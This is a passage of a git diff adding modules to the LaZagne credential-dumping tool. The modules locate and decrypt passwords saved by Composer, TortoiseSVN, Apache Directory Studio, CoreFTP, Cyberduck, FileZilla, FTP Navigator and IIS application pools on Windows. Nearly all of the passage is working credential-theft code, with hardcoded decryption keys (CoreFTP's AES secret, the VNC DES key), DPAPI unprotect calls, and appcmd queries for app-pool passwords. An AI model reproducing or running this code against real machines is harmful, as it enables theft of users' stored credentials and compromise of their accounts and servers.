winreg.QueryValueEx(hkey, path['password_key'])[0] + except Exception: + self.debug(u'Problems with key:: {reg_key}'.format(reg_key=path['reg_root'] + path['reg_path'])) + continue + + try: + user = self.deobfuscate(reg_user_key) + except Exception: + self.info(u'Problems with deobfuscate user : {reg_key}'.format(reg_key=path['reg_path'])) + continue + + try: + password = self.deobfuscate(reg_password_key) + except Exception: + self.info(u'Problems with deobfuscate password : {reg_key}'.format(reg_key=path['reg_path'])) + continue + + found_passwords.append({'username': user, 'password': password}) + except Exception: + pass + return found_passwords + + def run(self): + hosts = self.get_db_hosts() + credentials = self.credentials_from_registry() + for cred in credentials: + cred['host(s)'] = b', '.join(hosts) + return credentials diff --git a/lazagne/softwares/php/__init__.py b/lazagne/softwares/php/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/lazagne/softwares/php/composer.py b/lazagne/softwares/php/composer.py new file mode 100644 index 0000000..b74069a --- /dev/null +++ b/lazagne/softwares/php/composer.py @@ -0,0 +1,61 @@ +# -*- coding: utf-8 -*- +import json + +from lazagne.config.module_info import ModuleInfo +from lazagne.config.constant import constant + +import os + + +class Composer(ModuleInfo): + + def __init__(self): + ModuleInfo.__init__(self, 'composer', 'php') + + def extract_credentials(self, location): + """ + Extract the credentials from the "auth.json" file. + See "https://getcomposer.org/doc/articles/http-basic-authentication.md" for file format. + :param location: Full path to the "auth.json" file + :return: List of credentials founds + """ + creds_found = [] + with open(location) as f: + creds = json.load(f) + for cred_type in creds: + for domain in creds[cred_type]: + values = { + "AuthenticationType" : cred_type, + "Domain" : domain, + } + # Extract basic authentication if we are on a "http-basic" section + # otherwise extract authentication token + if cred_type == "http-basic": + values["Login"] = creds[cred_type][domain]["username"] + values["Password"] = creds[cred_type][domain]["password"] + else: + values["Password"] = creds[cred_type][domain] + creds_found.append(values) + + return creds_found + + def run(self): + """ + Main function + """ + + # Define the possible full path of the "auth.json" file when is defined at global level + # See "https://getcomposer.org/doc/articles/http-basic-authentication.md" + # See "https://seld.be/notes/authentication-management-in-composer" + location = '' + tmp_location = [ + os.path.join(constant.profile["COMPOSER_HOME"], u'auth.json'), + os.path.join(constant.profile["APPDATA"], u'Composer\\auth.json') + ] + for tmp in tmp_location: + if os.path.isfile(tmp): + location = tmp + break + + if location: + return self.extract_credentials(location) diff --git a/lazagne/softwares/svn/__init__.py b/lazagne/softwares/svn/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/lazagne/softwares/svn/tortoise.py b/lazagne/softwares/svn/tortoise.py new file mode 100644 index 0000000..2113a87 --- /dev/null +++ b/lazagne/softwares/svn/tortoise.py @@ -0,0 +1,68 @@ +# -*- coding: utf-8 -*- +import base64 + +from lazagne.config.module_info import ModuleInfo +from lazagne.config.winstructure import Win32CryptUnprotectData +from lazagne.config.constant import constant + +import os + + +class Tortoise(ModuleInfo): + def __init__(self): + ModuleInfo.__init__(self, 'tortoise', 'svn', winapi_used=True) + + def run(self): + pwd_found = [] + path = os.path.join(constant.profile["APPDATA"], u'Subversion\\auth\\svn.simple') + if os.path.exists(path): + for root, dirs, files in os.walk(path + os.sep): + for filename in files: + f = open(os.path.join(path, filename), 'r') + url = '' + username = '' + result = '' + + i = 0 + # password + for line in f: + if i == -1: + result = line.replace('\n', '') + break + if line.startswith('password'): + i = -3 + i += 1 + + i = 0 + # url + for line in f: + if i == -1: + url = line.replace('\n', '') + break + if line.startswith('svn:realmstring'): + i = -3 + i += 1 + + i = 0 + + # username + for line in f: + if i == -1: + username = line.replace('\n', '') + break + if line.startswith('username'): + i = -3 + i += 1 + + # encrypted the password + if result: + try: + password_bytes = Win32CryptUnprotectData(base64.b64decode(result), is_current_user=constant.is_current_user, user_dpapi=constant.user_dpapi) + pwd_found.append({ + 'URL': url, + 'Login': username, + 'Password': password_bytes.decode("utf-8") + }) + except Exception: + pass + return pwd_found diff --git a/lazagne/softwares/sysadmin/__init__.py b/lazagne/softwares/sysadmin/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/lazagne/softwares/sysadmin/apachedirectorystudio.py b/lazagne/softwares/sysadmin/apachedirectorystudio.py new file mode 100644 index 0000000..0a6ad42 --- /dev/null +++ b/lazagne/softwares/sysadmin/apachedirectorystudio.py @@ -0,0 +1,62 @@ +# -*- coding: utf-8 -*- +from xml.etree.ElementTree import parse + +from lazagne.config.module_info import ModuleInfo +from lazagne.config.constant import * + +import os + + +class ApacheDirectoryStudio(ModuleInfo): + + def __init__(self): + ModuleInfo.__init__(self, 'apachedirectorystudio', 'sysadmin') + # Interesting XML attributes in ADS connection configuration + self.attr_to_extract = ["host", "port", "bindPrincipal", "bindPassword", "authMethod"] + + def extract_connections_credentials(self): + """ + Extract all connection's credentials. + + :return: List of dict in which one dict contains all information for a connection. + """ + repos_creds = [] + connection_file_location = os.path.join( + constant.profile["USERPROFILE"], + u'.ApacheDirectoryStudio\\.metadata\\.plugins\\org.apache.directory.studio.connection.core\\connections.xml' + ) + if os.path.isfile(connection_file_location): + try: + connections = parse(connection_file_location).getroot() + connection_nodes = connections.findall(".//connection") + for connection_node in connection_nodes: + creds = {} + for connection_attr_name in connection_node.attrib: + if connection_attr_name in self.attr_to_extract: + creds[connection_attr_name] = connection_node.attrib[connection_attr_name].strip() + if creds: + repos_creds.append(creds) + except Exception as e: + self.error(u"Cannot retrieve connections credentials '%s'" % e) + + return repos_creds + + def run(self): + """ + Main function + """ + # Extract all available connections credentials + repos_creds = self.extract_connections_credentials() + + # Parse and process the list of connections credentials + pwd_found = [] + for creds in repos_creds: + pwd_found.append({ + "Host" : creds["host"], + "Port" : creds["port"], + "Login" : creds["bindPrincipal"], + "Password" : creds["bindPassword"], + "AuthenticationMethod" : creds["authMethod"] + }) + + return pwd_found diff --git a/lazagne/softwares/sysadmin/coreftp.py b/lazagne/softwares/sysadmin/coreftp.py new file mode 100644 index 0000000..832c775 --- /dev/null +++ b/lazagne/softwares/sysadmin/coreftp.py @@ -0,0 +1,58 @@ +# -*- coding: utf-8 -*- +import binascii +try: + import _winreg as winreg +except ImportError: + import winreg + +from lazagne.config.crypto.pyaes.aes import AESModeOfOperationECB +from lazagne.config.module_info import ModuleInfo +from lazagne.config.winstructure import OpenKey, HKEY_CURRENT_USER + + +class CoreFTP(ModuleInfo): + def __init__(self): + ModuleInfo.__init__(self, 'coreftp', 'sysadmin') + + self._secret = b"hdfzpysvpzimorhk" + + def decrypt(self, hex): + encoded = binascii.unhexlify(hex) + aes = AESModeOfOperationECB(self._secret) + decrypted = aes.decrypt(encoded) + return decrypted.split(b'\x00')[0] + + def run(self): + key = None + pwd_found = [] + try: + key = OpenKey(HKEY_CURRENT_USER, 'Software\\FTPware\\CoreFTP\\Sites') + except Exception as e: + self.debug(str(e)) + + if key: + num_profiles = winreg.QueryInfoKey(key)[0] + elements = ['Host', 'Port', 'User', 'PW'] + for n in range(num_profiles): + name_skey = winreg.EnumKey(key, n) + skey = OpenKey(key, name_skey) + num = winreg.QueryInfoKey(skey)[1] + values = {} + for nn in range(num): + k = winreg.EnumValue(skey, nn) + if k[0] in elements: + if k[0] == 'User': + values['Login'] = k[1] + pwd_found.append(values) + if k[0] == 'PW': + try: + values['Password'] = self.decrypt(k[1]) + except Exception as e: + self.debug(str(e)) + else: + values[k[0]] = k[1] + + winreg.CloseKey(skey) + winreg.CloseKey(key) + + return pwd_found diff --git a/lazagne/softwares/sysadmin/cyberduck.py b/lazagne/softwares/sysadmin/cyberduck.py new file mode 100644 index 0000000..de8d0ac --- /dev/null +++ b/lazagne/softwares/sysadmin/cyberduck.py @@ -0,0 +1,48 @@ +# -*- coding: utf-8 -*- +import base64 + +from xml.etree.cElementTree import ElementTree + +from lazagne.config.module_info import ModuleInfo +from lazagne.config.winstructure import Win32CryptUnprotectData +from lazagne.config.constant import constant +from lazagne.config.winstructure import string_to_unicode + +import os + + +class Cyberduck(ModuleInfo): + def __init__(self): + ModuleInfo.__init__(self, 'cyberduck', 'sysadmin', winapi_used=True) + + # find the user.config file containing passwords + def get_application_path(self): + directory = os.path.join(constant.profile['APPDATA'], u'Cyberduck') + if os.path.exists(directory): + for dr in os.listdir(directory): + if dr.startswith(u'Cyberduck'): + for d in os.listdir(os.path.join(directory, string_to_unicode(dr))): + path = os.path.join(directory, string_to_unicode(dr), string_to_unicode(d), u'user.config') + return path + + def run(self): + xml_file = self.get_application_path() + if xml_file and os.path.exists(xml_file): + tree = ElementTree(file=xml_file) + + pwd_found = [] + for elem in tree.iter(): + try: + if elem.attrib['name'].startswith('ftp') or elem.attrib['name'].startswith('ftps') \ + or elem.attrib['name'].startswith('sftp') or elem.attrib['name'].startswith('http') \ + or elem.attrib['name'].startswith('https'): + encrypted_password = base64.b64decode(elem.attrib['value']) + password_bytes = Win32CryptUnprotectData(encrypted_password, is_current_user=constant.is_current_user, user_dpapi=constant.user_dpapi) + pwd_found.append({ + 'URL': elem.attrib['name'], + 'Password': password_bytes.decode("utf-8"), + }) + except Exception as e: + self.debug(str(e)) + + return pwd_found diff --git a/lazagne/softwares/sysadmin/d3des.py b/lazagne/softwares/sysadmin/d3des.py new file mode 100644 index 0000000..1670b42 --- /dev/null +++ b/lazagne/softwares/sysadmin/d3des.py @@ -0,0 +1,391 @@ +#!/usr/bin/env python +# +# d3des.py - DES implementation +# +# Copyright (c) 2009 by Yusuke Shinyama +# + +# This is a Python rewrite of d3des.c by Richard Outerbridge. +# +# I referred to the original VNC viewer code for the changes that +# is necessary to maintain the exact behavior of the VNC protocol. +# Two constants and two functions were added to the original d3des +# code. These added parts were written in Python and marked +# below. I believe that the added parts do not make this program +# a "derivative work" of the VNC viewer (which is GPL'ed and +# written in C), but if there's any problem, let me know. +# +# Yusuke Shinyama (yusuke at cs dot nyu dot edu) + + +# D3DES (V5.09) - +# +# A portable, public domain, version of the Data Encryption Standard. +# +# Written with Symantec's THINK (Lightspeed) C by Richard Outerbridge. +# Thanks to: Dan Hoey for his excellent Initial and Inverse permutation +# code; Jim Gillogly & Phil Karn for the DES key schedule code; Dennis +# Ferguson, Eric Young and Dana How for comparing notes; and Ray Lau, +# for humouring me on. +# +# Copyright (c) 1988,1989,1990,1991,1992 by Richard Outerbridge. +# (GEnie : OUTER; CIS : [71755,204]) Graven Imagery, 1992. +# + +from struct import pack, unpack + + +################################################### +# +# start: changes made for VNC. +# + +# This constant was taken from vncviewer/rfb/vncauth.c: +vnckey = [23, 82, 107, 6, 35, 78, 88, 7] + +# This is a departure from the original code. +# bytebit = [ 0200, 0100, 040, 020, 010, 04, 02, 01 ] # original +bytebit = [0o1, 0o2, 0o4, 0o10, 0o20, 0o40, 0o100, 0o200] # VNC version + + +# two password functions for VNC protocol. + + +def decrypt_passwd(data): + dk = deskey(pack('8B', *vnckey), True) + return desfunc(data, dk) + + +def generate_response(passwd, challange): + ek = deskey((passwd+'\x00'*8)[:8], False) + return desfunc(challange[:8], ek) + desfunc(challange[8:], ek) + +### +# end: changes made for VNC. +# +################################################### + + +bigbyte = [ + 0x800000, 0x400000, 0x200000, 0x100000, + 0x80000, 0x40000, 0x20000, 0x10000, + 0x8000, 0x4000, 0x2000, 0x1000, + 0x800, 0x400, 0x200, 0x100, + 0x80, 0x40, 0x20, 0x10, + 0x8, 0x4, 0x2, 0x1 + ] + +# Use the key schedule specified in the Standard (ANSI X3.92-1981). + +pc1 = [ + 56, 48, 40, 32, 24, 16, 8, 0, 57, 49, 41, 33, 25, 17, + 9, 1, 58, 50, 42, 34, 26, 18, 10, 2, 59, 51, 43, 35, + 62, 54, 46, 38, 30, 22, 14, 6, 61, 53, 45, 37, 29, 21, + 13, 5, 60, 52, 44, 36, 28, 20, 12, 4, 27, 19, 11, 3 + ] + +totrot = [1, 2, 4, 6, 8, 10, 12, 14, 15, 17, 19, 21, 23, 25, 27, 28] + +pc2 = [ + 13, 16, 10, 23, 0, 4, 2, 27, 14, 5, 20, 9, + 22, 18, 11, 3, 25, 7, 15, 6, 26, 19, 12, 1, + 40, 51, 30, 36, 46, 54, 29, 39, 50, 44, 32, 47, + 43, 48, 38, 55, 33, 52, 45, 41, 49, 35, 28, 31 + ] + + +def deskey(key, decrypt): # Thanks to James Gillogly & Phil Karn! + key = unpack('8B', key) + + pc1m = [0]*56 + pcr = [0]*56 + kn = [0]*32 + + for j in range(56): + l = pc1[j] + m = l & 0o7 + if key[l >> 3] & bytebit[m]: + pc1m[j] = 1 + else: + pc1m[j] = 0 + + for i in range(16): + if decrypt: + m = (15 - i) << 1 + else: + m = i << 1 + n = m + 1 + kn[m] = kn[n] = 0 + for j in range(28): + l = j + totrot[i] + if l < 28: + pcr[j] = pc1m[l] + else: + pcr[j] = pc1m[l - 28] + for j in range(28, 56): + l = j + totrot[i] + if l < 56: + pcr[j] = pc1m[l] + else: + pcr[j] = pc1m[l - 28] + for j in range(24): + if pcr[pc2[j]]: + kn[m] |= bigbyte[j] + if pcr[pc2[j+24]]: + kn[n] |= bigbyte[j] + + return cookey(kn) + + +def cookey(raw): + key = [] + for i in range(0, 32, 2): + (raw0, raw1) = (raw[i], raw[i+1]) + k = (raw0 & 0x00fc0000) << 6 + k |= (raw0 & 0x00000fc0) << 10 + k |= (raw1 & 0x00fc0000) >> 10 + k |= (raw1 & 0x00000fc0) >> 6 + key.append(k) + k = (raw0 & 0x0003f000) << 12 + k |= (raw0 & 0x0000003f) << 16 + k |= (raw1 & 0x0003f000) >> 4 + k |= (raw1 & 0x0000003f) + key.append(k) + return key + + +SP1 = [ + 0x01010400, 0x00000000, 0x00010000, 0x01010404, + 0x01010004, 0x00010404, 0x00000004, 0x00010000, + 0x00000400, 0x01010400, 0x01010404, 0x00000400, + 0x01000404, 0x01010004, 0x01000000, 0x00000004, + 0x00000404, 0x01000400, 0x01000400, 0x00010400, + 0x00010400, 0x01010000, 0x01010000, 0x01000404, + 0x00010004, 0x01000004, 0x01000004, 0x00010004, + 0x00000000, 0x00000404, 0x00010404, 0x01000000, + 0x00010000, 0x01010404, 0x00000004, 0x01010000, + 0x01010400, 0x01000000, 0x01000000, 0x00000400, + 0x01010004, 0x00010000, 0x00010400, 0x01000004, + 0x00000400, 0x00000004, 0x01000404, 0x00010404, + 0x01010404, 0x00010004, 0x01010000, 0x01000404, + 0x01000004, 0x00000404, 0x00010404, 0x01010400, + 0x00000404, 0x01000400, 0x01000400, 0x00000000, + 0x00010004, 0x00010400, 0x00000000, 0x01010004 +] + +SP2 = [ + 0x80108020, 0x80008000, 0x00008000, 0x00108020, + 0x00100000, 0x00000020, 0x80100020, 0x80008020, + 0x80000020, 0x80108020, 0x80108000, 0x80000000, + 0x80008000, 0x00100000, 0x00000020, 0x80100020, + 0x00108000, 0x00100020, 0x80008020, 0x00000000, + 0x80000000, 0x00008000, 0x00108020, 0x80100000, + 0x00100020, 0x80000020, 0x00000000, 0x00108000, + 0x00008020, 0x80108000, 0x80100000, 0x00008020, + 0x00000000, 0x00108020, 0x80100020, 0x00100000, + 0x80008020, 0x80100000, 0x80108000, 0x00008000, + 0x80100000, 0x80008000, 0x00000020, 0x80108020, + 0x00108020, 0x00000020, 0x00008000, 0x80000000, + 0x00008020, 0x80108000, 0x00100000, 0x80000020, + 0x00100020, 0x80008020, 0x80000020, 0x00100020, + 0x00108000, 0x00000000, 0x80008000, 0x00008020, + 0x80000000, 0x80100020, 0x80108020, 0x00108000 +] + +SP3 = [ + 0x00000208, 0x08020200, 0x00000000, 0x08020008, + 0x08000200, 0x00000000, 0x00020208, 0x08000200, + 0x00020008, 0x08000008, 0x08000008, 0x00020000, + 0x08020208, 0x00020008, 0x08020000, 0x00000208, + 0x08000000, 0x00000008, 0x08020200, 0x00000200, + 0x00020200, 0x08020000, 0x08020008, 0x00020208, + 0x08000208, 0x00020200, 0x00020000, 0x08000208, + 0x00000008, 0x08020208, 0x00000200, 0x08000000, + 0x08020200, 0x08000000, 0x00020008, 0x00000208, + 0x00020000, 0x08020200, 0x08000200, 0x00000000, + 0x00000200, 0x00020008, 0x08020208, 0x08000200, + 0x08000008, 0x00000200, 0x00000000, 0x08020008, + 0x08000208, 0x00020000, 0x08000000, 0x08020208, + 0x00000008, 0x00020208, 0x00020200, 0x08000008, + 0x08020000, 0x08000208, 0x00000208, 0x08020000, + 0x00020208, 0x00000008, 0x08020008, 0x00020200 +] + +SP4 = [ + 0x00802001, 0x00002081, 0x00002081, 0x00000080, + 0x00802080, 0x00800081, 0x00800001, 0x00002001, + 0x00000000, 0x00802000, 0x00802000, 0x00802081, + 0x00000081, 0x00000000, 0x00800080, 0x00800001, + 0x00000001, 0x00002000, 0x00800000, 0x00802001, + 0x00000080, 0x00800000, 0x00002001, 0x00002080, + 0x00800081, 0x00000001, 0x00002080, 0x00800080, + 0x00002000, 0x00802080, 0x00802081, 0x00000081, + 0x00800080, 0x00800001, 0x00802000, 0x00802081, + 0x00000081, 0x00000000, 0x00000000, 0x00802000, + 0x00002080, 0x00800080, 0x00800081, 0x00000001, + 0x00802001, 0x00002081, 0x00002081, 0x00000080, + 0x00802081, 0x00000081, 0x00000001, 0x00002000, + 0x00800001, 0x00002001, 0x00802080, 0x00800081, + 0x00002001, 0x00002080, 0x00800000, 0x00802001, + 0x00000080, 0x00800000, 0x00002000, 0x00802080 +] + +SP5 = [ + 0x00000100, 0x02080100, 0x02080000, 0x42000100, + 0x00080000, 0x00000100, 0x40000000, 0x02080000, + 0x40080100, 0x00080000, 0x02000100, 0x40080100, + 0x42000100, 0x42080000, 0x00080100, 0x40000000, + 0x02000000, 0x40080000, 0x40080000, 0x00000000, + 0x40000100, 0x42080100, 0x42080100, 0x02000100, + 0x42080000, 0x40000100, 0x00000000, 0x42000000, + 0x02080100, 0x02000000, 0x42000000, 0x00080100, + 0x00080000, 0x42000100, 0x00000100, 0x02000000, + 0x40000000, 0x02080000, 0x42000100, 0x40080100, + 0x02000100, 0x40000000, 0x42080000, 0x02080100, + 0x40080100, 0x00000100, 0x02000000, 0x42080000, + 0x42080100, 0x00080100, 0x42000000, 0x42080100, + 0x02080000, 0x00000000, 0x40080000, 0x42000000, + 0x00080100, 0x02000100, 0x40000100, 0x00080000, + 0x00000000, 0x40080000, 0x02080100, 0x40000100 +] + +SP6 = [ + 0x20000010, 0x20400000, 0x00004000, 0x20404010, + 0x20400000, 0x00000010, 0x20404010, 0x00400000, + 0x20004000, 0x00404010, 0x00400000, 0x20000010, + 0x00400010, 0x20004000, 0x20000000, 0x00004010, + 0x00000000, 0x00400010, 0x20004010, 0x00004000, + 0x00404000, 0x20004010, 0x00000010, 0x20400010, + 0x20400010, 0x00000000, 0x00404010, 0x20404000, + 0x00004010, 0x00404000, 0x20404000, 0x20000000, + 0x20004000, 0x00000010, 0x20400010, 0x00404000, + 0x20404010, 0x00400000, 0x00004010, 0x20000010, + 0x00400000, 0x20004000, 0x20000000, 0x00004010, + 0x20000010, 0x20404010, 0x00404000, 0x20400000, + 0x00404010, 0x20404000, 0x00000000, 0x20400010, + 0x00000010, 0x00004000, 0x20400000, 0x00404010, + 0x00004000, 0x00400010, 0x20004010, 0x00000000, + 0x20404000, 0x20000000, 0x00400010, 0x20004010 +] + +SP7 = [ + 0x00200000, 0x04200002, 0x04000802, 0x00000000, + 0x00000800, 0x04000802, 0x00200802, 0x04200800, + 0x04200802, 0x00200000, 0x00000000, 0x04000002, + 0x00000002, 0x04000000, 0x04200002, 0x00000802, + 0x04000800, 0x00200802, 0x00200002, 0x04000800, + 0x04000002, 0x04200000, 0x04200800, 0x00200002, + 0x04200000, 0x00000800, 0x00000802, 0x04200802, + 0x00200800, 0x00000002, 0x04000000, 0x00200800, + 0x04000000, 0x00200800, 0x00200000, 0x04000802, + 0x04000802, 0x04200002, 0x04200002, 0x00000002, + 0x00200002, 0x04000000, 0x04000800, 0x00200000, + 0x04200800, 0x00000802, 0x00200802, 0x04200800, + 0x00000802, 0x04000002, 0x04200802, 0x04200000, + 0x00200800, 0x00000000, 0x00000002, 0x04200802, + 0x00000000, 0x00200802, 0x04200000, 0x00000800, + 0x04000002, 0x04000800, 0x00000800, 0x00200002 +] + +SP8 = [ + 0x10001040, 0x00001000, 0x00040000, 0x10041040, + 0x10000000, 0x10001040, 0x00000040, 0x10000000, + 0x00040040, 0x10040000, 0x10041040, 0x00041000, + 0x10041000, 0x00041040, 0x00001000, 0x00000040, + 0x10040000, 0x10000040, 0x10001000, 0x00001040, + 0x00041000, 0x00040040, 0x10040040, 0x10041000, + 0x00001040, 0x00000000, 0x00000000, 0x10040040, + 0x10000040, 0x10001000, 0x00041040, 0x00040000, + 0x00041040, 0x00040000, 0x10041000, 0x00001000, + 0x00000040, 0x10040040, 0x00001000, 0x00041040, + 0x10001000, 0x00000040, 0x10000040, 0x10040000, + 0x10040040, 0x10000000, 0x00040000, 0x10001040, + 0x00000000, 0x10041040, 0x00040040, 0x10000040, + 0x10040000, 0x10001000, 0x10001040, 0x00000000, + 0x10041040, 0x00041000, 0x00041000, 0x00001040, + 0x00001040, 0x00040040, 0x10000000, 0x10041000 +] + + +def desfunc(block, keys): + (leftt, right) = unpack('>II', block) + + work = ((leftt >> 4) ^ right) & 0x0f0f0f0f + right ^= work + leftt ^= (work << 4) + work = ((leftt >> 16) ^ right) & 0x0000ffff + right ^= work + leftt ^= (work << 16) + work = ((right >> 2) ^ leftt) & 0x33333333 + leftt ^= work + right ^= (work << 2) + work = ((right >> 8) ^ leftt) & 0x00ff00ff + leftt ^= work + right ^= (work << 8) + right = ((right << 1) | ((right >> 31) & 1)) & 0xffffffff + work = (leftt ^ right) & 0xaaaaaaaa + leftt ^= work + right ^= work + leftt = ((leftt << 1) | ((leftt >> 31) & 1)) & 0xffffffff + + for i in range(0, 32, 4): + work = (right << 28) | (right >> 4) + work ^= keys[i] + fval = SP7[work & 0x3f] + fval |= SP5[(work >> 8) & 0x3f] + fval |= SP3[(work >> 16) & 0x3f] + fval |= SP1[(work >> 24) & 0x3f] + work = right ^ keys[i+1] + fval |= SP8[work & 0x3f] + fval |= SP6[(work >> 8) & 0x3f] + fval |= SP4[(work >> 16) & 0x3f] + fval |= SP2[(work >> 24) & 0x3f] + leftt ^= fval + work = (leftt << 28) | (leftt >> 4) + work ^= keys[i+2] + fval = SP7[work & 0x3f] + fval |= SP5[(work >> 8) & 0x3f] + fval |= SP3[(work >> 16) & 0x3f] + fval |= SP1[(work >> 24) & 0x3f] + work = leftt ^ keys[i+3] + fval |= SP8[work & 0x3f] + fval |= SP6[(work >> 8) & 0x3f] + fval |= SP4[(work >> 16) & 0x3f] + fval |= SP2[(work >> 24) & 0x3f] + right ^= fval + + right = (right << 31) | (right >> 1) + work = (leftt ^ right) & 0xaaaaaaaa + leftt ^= work + right ^= work + leftt = (leftt << 31) | (leftt >> 1) + work = ((leftt >> 8) ^ right) & 0x00ff00ff + right ^= work + leftt ^= (work << 8) + work = ((leftt >> 2) ^ right) & 0x33333333 + right ^= work + leftt ^= (work << 2) + work = ((right >> 16) ^ leftt) & 0x0000ffff + leftt ^= work + right ^= (work << 16) + work = ((right >> 4) ^ leftt) & 0x0f0f0f0f + leftt ^= work + right ^= (work << 4) + + leftt &= 0xffffffff + right &= 0xffffffff + return pack('>II', right, leftt) + + +# test +if __name__ == '__main__': + import binascii + key = binascii.unhexlify('0123456789abcdef') + plain = binascii.unhexlify('0123456789abcdef') + cipher = binascii.unhexlify('6e09a37726dd560c') + ek = deskey(key, False) + dk = deskey(key, True) + assert desfunc(plain, ek) == cipher + assert desfunc(desfunc(plain, ek), dk) == plain + assert desfunc(desfunc(plain, dk), ek) == plain + print('test succeeded.') diff --git a/lazagne/softwares/sysadmin/filezilla.py b/lazagne/softwares/sysadmin/filezilla.py new file mode 100644 index 0000000..438ee2e --- /dev/null +++ b/lazagne/softwares/sysadmin/filezilla.py @@ -0,0 +1,53 @@ +# -*- coding: utf-8 -*- +import base64 + +from xml.etree.cElementTree import ElementTree + +from lazagne.config.module_info import ModuleInfo +from lazagne.config.constant import constant + +import os + + +class Filezilla(ModuleInfo): + def __init__(self): + ModuleInfo.__init__(self, 'filezilla', 'sysadmin') + + def run(self): + path = os.path.join(constant.profile['APPDATA'], u'FileZilla') + if os.path.exists(path): + pwd_found = [] + for file in [u'sitemanager.xml', u'recentservers.xml', u'filezilla.xml']: + + xml_file = os.path.join(path, file) + if os.path.exists(xml_file): + tree = ElementTree(file=xml_file) + if tree.findall('Servers/Server'): + servers = tree.findall('Servers/Server') + else: + servers = tree.findall('RecentServers/Server') + + for server in servers: + host = server.find('Host') + port = server.find('Port') + login = server.find('User') + password = server.find('Pass') + + # if all((host, port, login)) does not work + if host is not None and port is not None and login is not None: + values = { + 'Host': host.text, + 'Port': port.text, + 'Login': login.text, + } + + if password is not None: + if 'encoding' in password.attrib and password.attrib['encoding'] == 'base64': + values['Password'] = base64.b64decode(password.text) + else: + values['Password'] = password.text + + if values: + pwd_found.append(values) + + return pwd_found diff --git a/lazagne/softwares/sysadmin/filezillaserver.py b/lazagne/softwares/sysadmin/filezillaserver.py new file mode 100644 index 0000000..08fc941 --- /dev/null +++ b/lazagne/softwares/sysadmin/filezillaserver.py @@ -0,0 +1,42 @@ +# -*- coding: utf-8 -*- +from xml.etree.cElementTree import ElementTree + +from lazagne.config.module_info import ModuleInfo +from lazagne.config.constant import constant + +import os + + +class FilezillaServer(ModuleInfo): + def __init__(self): + ModuleInfo.__init__(self, 'filezillaserver', 'sysadmin') + + def run(self): + path = os.path.join(constant.profile['APPDATA'], u'FileZilla Server') + if os.path.exists(path): + pwd_found = [] + file = u'FileZilla Server Interface.xml' + + xml_file = os.path.join(path, file) + + if os.path.exists(xml_file): + tree = ElementTree(file=xml_file) + root = tree.getroot() + host = port = password = None + + for item in root.iter("Item"): + if item.attrib['name'] == 'Last Server Address': + host = item.text + elif item.attrib['name'] == 'Last Server Port': + port = item.text + elif item.attrib['name'] == 'Last Server Password': + password = item.text + # if all((host, port, login)) does not work + if host is not None and port is not None and password is not None: + pwd_found = [{ + 'Host': host, + 'Port': port, + 'Password': password, + }] + + return pwd_found diff --git a/lazagne/softwares/sysadmin/ftpnavigator.py b/lazagne/softwares/sysadmin/ftpnavigator.py new file mode 100644 index 0000000..8b88c19 --- /dev/null +++ b/lazagne/softwares/sysadmin/ftpnavigator.py @@ -0,0 +1,44 @@ +# -*- coding: utf-8 -*- +import struct + +from lazagne.config.module_info import ModuleInfo +from lazagne.config.constant import constant + +import os + + +class FtpNavigator(ModuleInfo): + def __init__(self): + ModuleInfo.__init__(self, 'ftpnavigator', 'sysadmin', system_module=True) + + def decode(self, encode_password): + password = '' + for p in encode_password: + password += chr(struct.unpack('B', p)[0] ^ 0x19) + return password + + def run(self): + path = os.path.join(constant.profile['HOMEDRIVE'], u'\\FTP Navigator', u'Ftplist.txt') + elements = {'Name': 'Name', 'Server': 'Host', 'Port': 'Port', 'User': 'Login', 'Password': 'Password'} + if os.path.exists(path): + pwd_found = [] + with open(path, 'r') as f: + for ff in f: + values = {} + info = ff.split(';') + for i in info: + i = i.split('=') + for e in elements: + if i[0] == e: + if i[0] == "Password" and i[1] != '1' and i[1] != '0': + values['Password'] = self.decode(i[1]) + else: + values[elements[i[0]]] = i[1] + + # used to save the password if it is an anonymous authentication + if values['Login'] == 'anonymous' and 'Password' not in values: + values['Password'] = 'anonymous' + + pwd_found.append(values) + + return pwd_found diff --git a/lazagne/softwares/sysadmin/iisapppool.py b/lazagne/softwares/sysadmin/iisapppool.py new file mode 100644 index 0000000..5452d70 --- /dev/null +++ b/lazagne/softwares/sysadmin/iisapppool.py @@ -0,0 +1,76 @@ +import fnmatch +import os +import subprocess +import re +import string + +from lazagne.config.module_info import ModuleInfo + +class IISAppPool(ModuleInfo): + def __init__(self): + ModuleInfo.__init__(self, name='iisapppool', category='sysadmin', registry_used=True, winapi_used=True) + + def find_files(self, path, file): + """ + Try to find all files with the same name + """ + founded_files = [] + for dirpath, dirnames, files in os.walk(path): + for file_name in files: + if fnmatch.fnmatch(file_name, file): + founded_files.append(dirpath + '\\' + file_name) + + return founded_files + + def execute_get_stdout(self, exe_file, arguments): + try: + proc = subprocess.Popen(exe_file + " " + arguments, shell=False, stdout=subprocess.PIPE, stderr=subprocess.PIPE) + + except: + self.debug(u'Error executing {exefile}'.format(exefile=exe_file)) + return None + + return proc.stdout + + def run(self): + pfound = [] + + exe_files = self.find_files(os.environ['WINDIR'] + '\\System32\\inetsrv', 'appcmd.exe') + if len(exe_files) == 0: + self.debug(u'File not found appcmd.exe') + return + + self.info(u'appcmd.exe files found: {files}'.format(files=exe_files)) + output = self.execute_get_stdout(exe_files[-1], 'list apppool') + if output == None: + self.debug(u'Problems with Application Pool list') + return + + app_list = [] + for line in output.readlines(): + app_list.append(re.findall(r'".*"', line)[0].split('"')[1]) + + + for app in app_list: + values = {} + username = '' + password = '' + + output = self.execute_get_stdout(exe_files[-1], 'list apppool ' + app + ' /text:*') + + for line in output.readlines(): + if re.search(r'userName:".*"', line): + username = re.findall(r'userName:".*"', line)[0].split('"')[1] + + if re.search(r'password:".*"', line): + password = re.findall(r'password:".*"', line)[0].split('"')[1] + + if password != '' : + values['AppPool.Name'] = app + values['Username'] = username + values['Password'] = password + + pfound.append(values) + + + return pfound diff --git a/lazagne/softwares/sysadmin/iiscentralcertp.py b/lazagne/softwares/sysadmin/iiscentralcertp.py new file mode 100644 index 0000000..a0d9f1a --- /dev/null +++ b/lazagne/softwares/sysadmin/iiscentralcertp.py @@ -0,0 +1,138 @@ +# -*- coding: utf-8 -*- +import base64 +import fnmatch +import os +import rsa +import string + +from random import * +from xml.dom import minidom + +try: + import _winreg as winreg +except ImportError: + import winreg + + +from lazagne.config.module_info import ModuleInfo + + +class IISCentralCertP(ModuleInfo): + def __init__(self): + ModuleInfo.__init__(self, name='iiscentralcertp', 